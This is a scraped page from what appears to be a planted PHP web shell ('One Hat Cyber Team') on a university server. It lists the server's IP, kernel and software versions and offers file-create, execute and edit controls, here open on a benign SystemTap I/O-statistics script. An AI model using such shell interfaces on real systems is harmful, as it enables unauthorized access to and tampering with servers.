One Hat Cyber Team
Your IP :
216.73.216.115
Server IP :
194.44.31.54
Server :
Linux zen.imath.kiev.ua 4.18.0-553.77.1.el8_10.x86_64 #1 SMP Fri Oct 3 14:30:23 UTC 2025 x86_64
Server Software :
Apache/2.4.37 (Rocky Linux) OpenSSL/1.1.1k
PHP Version :
5.6.40
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
systemtap
/
examples
/
io
/
Edit File:
iostats.stp
#!/usr/bin/stap global opens, reads, writes, totals probe begin { printf("starting probe\n") } probe syscall.open { opens[execname()] <<< 1 # statistics array } probe syscall.read.return { count = retval if ( count >= 0 ) { reads[execname()] <<< count # statistics array totals[execname()] <<< count } } probe syscall.write.return { count = retval if (count >= 0 ) { writes[execname()] <<< count # statistics array totals[execname()] <<< count } } probe end { printf("\n%16s %8s %8s %8s %8s %8s %8s %8s\n", "", "", "", "read", "read", "", "write", "write") printf("%16s %8s %8s %8s %8s %8s %8s %8s\n", "name", "open", "read", "KB tot", "B avg", "write", "KB tot", "B avg") foreach (name in totals @sum- limit 20) { # sort by total io printf("%16s %8d %8d %8d %8d %8d %8d %8d\n", name, @count(opens[name]), @count(reads[name]), (@count(reads[name]) ? @sum(reads[name])>>10 : 0 ), (@count(reads[name]) ? @avg(reads[name]) : 0 ), @count(writes[name]), (@count(writes[name]) ? @sum(writes[name])>>10 : 0 ), (@count(writes[name]) ? @avg(writes[name]) : 0 )) } }
Simpan